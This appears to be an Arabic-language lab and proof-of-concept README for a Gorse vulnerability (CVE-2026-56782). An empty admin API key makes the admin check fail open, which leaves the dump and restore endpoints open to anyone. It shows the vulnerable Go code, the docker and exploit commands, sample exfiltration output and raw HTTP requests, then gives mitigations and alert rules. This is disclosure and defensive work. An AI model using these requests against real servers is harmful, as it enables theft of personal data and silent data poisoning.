
CVE-2026-56782 — Gorse <0.5.10 تفريغ/استعادة قاعدة بيانات غير مصادق عليها (admin_api_key fail-open). مختبر + PoC، تم التحقق منه من البداية إلى النهاية.
Gorse
< 0.5.10يأتي معadmin_api_key = "". نقاط النهاية الرئيسية HTTP/api/dumpو/api/restoreمحمية بفحص مدير يفتح الثغرة عند عدم تكوين مفتاح — وهو الإعداد الافتراضي. يمكن لمهاجم غير مصادق عليه وقابل للوصول عبر الشبكة سرقة مجموعة البيانات بأكملها (المستخدمين، العناصر، الملاحظات / المعرفات الشخصية) أو الكتابة فوقها.
| CVE | CVE-2026-56782 |
| المتأثر | Gorse < 0.5.10 |
| الإصلاح | 0.5.10 |
| التصنيف | CWE-305 (تجاوز المصادقة بسبب ضعف أساسي) / CWE-306 (غياب المصادقة) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا شيء (الافتراضي admin_api_key فارغ) |
| النقاط النهائية | GET /api/dump, POST /api/restore (master HTTP، المنفذ الافتراضي 8088) |
| الحالة | مؤكد — تم إعادة الإنتاج بالكامل ضد zhenghaoz/gorse-in-one:0.5.8 |
master/rest.go يحمي معالجات التفريغ/الاستعادة باستخدام checkAdmin():
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- fail-open: no key configured => everyone is admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // streams every user, item and feedback row
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — overwrites the dataset
}
الملف المرفق config/config.toml يعيّن admin_api_key = "". مع الإعداد الافتراضي، ترجع checkAdmin() قيمة true لكل طلب — لا يُفحص رأس X-API-Key بتاتًا — لذا فإن كلا النقطتين النهائيتين قابلتان للقراءة والكتابة للجميع.
GET /api/dump يدفق قاعدة البيانات كاملة: كل معرف مستخدم وتصنيفاته، كل عنصر، وكل رسم بياني للتغذية الراجعة (من تفاعل مع ماذا). بالنسبة لمشجع يدعم منتجًا حقيقيًا، هذه كتلة من المعرفات الشخصية / بيانات السلوك.POST /api/restore يستبدل مجموعة البيانات بمحتوى يقدمه المهاجم، مما يمكن من تسميم البيانات أو إتلافها بصمت.# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
# --playground seeds a real users/items/feedback dataset to exfiltrate.
# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
الملاحظ:
[*] GET http://127.0.0.1:8088/api/dump (no X-API-Key header)
[*] HTTP 200 content-type: application/octet-stream
[+] تم تأكيد سرقة البيانات غير المصادق عليها
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (بدون رأس X-API-Key، نص فقط نهاية الملف)
[+] HTTP 200 (وليس 401) - تم تجاوز checkAdmin: /api/restore قابل للكتابة بدون مصادقة.
رأس X-API-Key مزيف لا يزال يرجع 200 — مؤكدا أن المفتاح يُتجاهل تمامًا عندما يكون admin_api_key غير معيّن (مسار الفتح المفتوح)، وليس مجرد عدم تطابق.
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>
admin_api_key قوي (وكذا بيانات اعتماد dashboard)، وأنهِ TLS أمام السيد، ولا تعرض منفذ HTTP للسيد (8088) أبدًا للشبكات غير الموثوقة.أنشئ تنبيهًا على GET /api/dump أو POST /api/restore إلى منفذ السيد من أي عميل يخلو من X-API-Key صالح، وعلى استجابات application/octet-stream كبيرة من /api/dump.
انظر ANALYSIS.md لتدفق الطلب، تنسيق تيار التفريغ، والتصحيح.